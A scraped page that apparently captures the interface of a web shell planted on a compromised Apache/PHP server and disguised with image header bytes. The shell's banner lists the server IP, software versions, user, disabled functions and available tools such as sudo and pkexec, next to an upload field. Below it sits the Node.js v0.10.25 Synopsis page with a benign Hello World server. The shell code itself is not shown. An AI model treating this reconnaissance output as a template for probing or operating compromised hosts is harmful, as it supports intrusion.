????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.14.64.102 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/nodejs/api/ |
Upload File : |
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Synopsis Node.js v0.10.25 Manual & Documentation</title> <link rel="stylesheet" href="assets/style.css"> <link rel="stylesheet" href="assets/sh.css"> <link rel="canonical" href="http://nodejs.org/api/synopsis.html"> </head> <body class="alt apidoc" id="api-section-synopsis"> <div id="intro" class="interior"> <a href="/" title="Go back to the home page"> <img id="logo" src="http://nodejs.org/images/logo-light.png" alt="node.js"> </a> </div> <div id="content" class="clearfix"> <div id="column2" class="interior"> <ul> <li><a href="/" class="home">Home</a></li> <li><a href="/download/" class="download">Download</a></li> <li><a href="/about/" class="about">About</a></li> <li><a href="http://npmjs.org/" class="npm">npm Registry</a></li> <li><a href="http://nodejs.org/api/" class="docs current">Docs</a></li> <li><a href="http://blog.nodejs.org" class="blog">Blog</a></li> <li><a href="/community/" class="community">Community</a></li> <li><a href="/logos/" class="logos">Logos</a></li> <li><a href="http://jobs.nodejs.org/" class="jobs">Jobs</a></li> </ul> <p class="twitter"><a href="http://twitter.com/nodejs">@nodejs</a></p> </div> <div id="column1" class="interior"> <header> <h1>Node.js v0.10.25 Manual & Documentation</h1> <div id="gtoc"> <p> <a href="index.html" name="toc">Index</a> | <a href="all.html">View on single page</a> | <a href="synopsis.json">View as JSON</a> </p> </div> <hr> </header> <div id="toc"> <h2>Table of Contents</h2> <ul> <li><a href="#synopsis_synopsis">Synopsis</a></li> </ul> </div> <div id="apicontent"> <h1>Synopsis<span><a class="mark" href="#synopsis_synopsis" id="synopsis_synopsis">#</a></span></h1> <!--type=misc--> <p>An example of a <a href="http.html">web server</a> written with Node which responds with 'Hello World': </p> <pre><code>var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, {'Content-Type': 'text/plain'}); response.end('Hello World\n'); }).listen(8124); console.log('Server running at http://127.0.0.1:8124/');</code></pre> <p>To run the server, put the code into a file called <code>example.js</code> and execute it with the node program </p> <pre><code>> node example.js Server running at http://127.0.0.1:8124/</code></pre> <p>All of the examples in the documentation can be run similarly. </p> </div> </div> </div> <div id="footer"> <a href="http://joyent.com" class="joyent-logo">Joyent</a> <ul class="clearfix"> <li><a href="/">Node.js</a></li> <li><a href="/download/">Download</a></li> <li><a href="/about/">About</a></li> <li><a href="http://npmjs.org/">npm Registry</a></li> <li><a href="http://nodejs.org/api/">Docs</a></li> <li><a href="http://blog.nodejs.org">Blog</a></li> <li><a href="/community/">Community</a></li> <li><a href="/logos/">Logos</a></li> <li><a href="http://jobs.nodejs.org/">Jobs</a></li> <li><a href="http://twitter.com/nodejs" class="twitter">@nodejs</a></li> </ul> <p>Copyright <a href="http://joyent.com/">Joyent, Inc</a>, Node.js is a <a href="/trademark-policy.pdf">trademark</a> of Joyent, Inc. View <a href="https://raw.github.com/joyent/node/v0.10.25/LICENSE">license</a>.</p> </div> </body> </html>